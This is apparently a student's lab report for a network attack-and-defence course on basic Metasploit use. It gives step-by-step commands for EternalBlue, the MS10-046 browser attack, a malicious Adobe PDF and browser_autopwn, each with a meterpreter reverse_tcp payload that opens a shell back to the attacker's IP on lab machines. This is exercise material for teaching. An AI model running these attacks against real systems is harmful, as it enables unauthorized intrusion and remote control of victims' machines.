2019-2020-2 20175305张天钰《网络对抗技术》Exp6 MSF基础应用

2019-2020-2 20175305张天钰《网络对抗技术》Exp6 MSF基础应用


一、实践目标:

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

二、实践内容:

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成

  • 一个主动攻击实践
  • 一个针对浏览器的攻击
  • 一个针对客户端的攻击
  • 成功应用任何一个辅助模块。

知识小结

MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

MSF的六个模块

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
  • 编码模块Encoders
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

MSF的三种用户操作界面

  • msfconsole
  • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
  • 查看设置信息show [options]
  • 查看攻击目标类型show [target]
  • 查找命令search
  • 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
  • armitage
  • 启动服务器service postgresql start
  • 启动armitagearmitage
  • webgui

MSF常用漏洞利用命令

search name:用指定关键字搜索可以利用的漏洞模块
use exploit name:使用漏洞
show options:显示配置选项
set option name option:设置选项
show payloads:回链攻击载荷
show targets: 显示目标(os版本)
set TARGET target number:设置目标版本
exploit:开始漏洞攻击
sessions -l:列出会话
sessions -i id:选择会话
sessions -k id:结束会话
Ctrl+z:把会话放到后台
Ctrl+c:结束会话
show auxiliary:显示辅助模块
use auxiliary name:使用辅助模块
set option name option:设置选项
exploit:运行模块

三、实践内容及步骤

任务一:主动攻击的实践

ms17_010

靶机: Windows Server 2008 R2 (x64)
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
使用ms17_010模块: msf > use exploit/windows/smb/ms17_010_eternalblue
设置payload:payload windows/x64/meterpreter/reverse_tcp
设置ip地址 set lhost +攻击机ip地址 、set rhost +靶机ip地址
输入exploit进行攻击:

攻击成功:

任务二:攻击浏览器的实践

1.ms13-008

在攻击机kali输入msfconsole进入控制台
使用ms10_046模块
set SRVHOST +攻击机ip
设置payload ,tcp反向回连
set LHOST +攻击机ip:

2.ms10-046
在攻击机kali输入msfconsole进入控制台
使用ms10_046模块
set SRVHOST +攻击机ip
设置payload ,tcp反向回连
set LHOST +攻击机ip:

exploit 攻击
靶机访问url链接,弹出对话框点击“允许”,会弹出一个攻击者IP的目录,其中有一个“快捷方式”的图标,双击快捷方式,攻击机方显示成功建立会话。
使用sessions -i 1选择会话,攻击成功:

任务三:攻击客户端的实践

1.adobe_toolbutton

靶机:Windows XP
使用adobe_toolbutton模块:use exploit/windows/fileformat/adobe_toolbutton;
生成攻击文件msf.pdf:

将文件传给靶机;
输入back返回;
设置监听程序use exploit/multi/handler;
设置payload set payload windows/meterpreter/reverse_tcp:

设置攻击机IP 地址;
输入run进行攻击;
当靶机用Adobe Reader 9 打开msf文件时,攻击成功。

任务四:成功应用任何一个辅助模块

browser autopwn

靶机:IE 8 on Windows XP SP3
•输入use auxiliary/server/browser_autopwn
•设置 payload:

设置攻击机端口号
设置set LHOST 192.168.1.107
设置URIPATH:

输入exploit进行攻击
靶机用浏览器打开url链接
输入 session -i 1成功获得权限

四、基础问题回答

用自己的话解释什么是exploit,payload,encode.

  • exploit:利用漏洞,将真正要负责攻击的代码传送到靶机中。
  • payload:载荷,实际上就是之前我们实验中做到的shellcode,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。Skoudis在他的《决战恶意代码》中这样写道,病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
  • encode:编码,主要是为了避免之前的payload中出现坏字符,从而影响payload的功能,其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。

五、离实战还缺些什么技术或步骤

对信息的收集:meterpreter里面很多漏洞都已经是比较早之前的了,大多数有攻击价值的靶机都已经给有关漏洞打上补丁了,现实中不可能轻易利用这些漏洞攻击,所以需要获取最新漏洞情报。
meterpreter虽然提供了很多payload,但是功能都已经固定,要是能自己编写实现特定功能的payload,这样的攻击会更有针对性。
大多数攻击都要关闭防火墙,但是实战中一般不会关掉防火墙,如何绕开防火墙也是重点

六、实验总结与体会

这次动手实验让我对msf的攻击又有了新的认识,深切的体会到了补丁的重要性,自己电脑上一定要打好补丁。而且不要轻易打开来源不明的文档文件等等,可能是携带后门程序的恶意文件。还有就是要定期更新软件,各个软件的更新可能会包含补丁的升级,让电脑更加安全。
不过体会了一把当黑客的感觉还是很爽的!

原文地址:https://www.cnblogs.com/zhangtianyu/p/12820471.html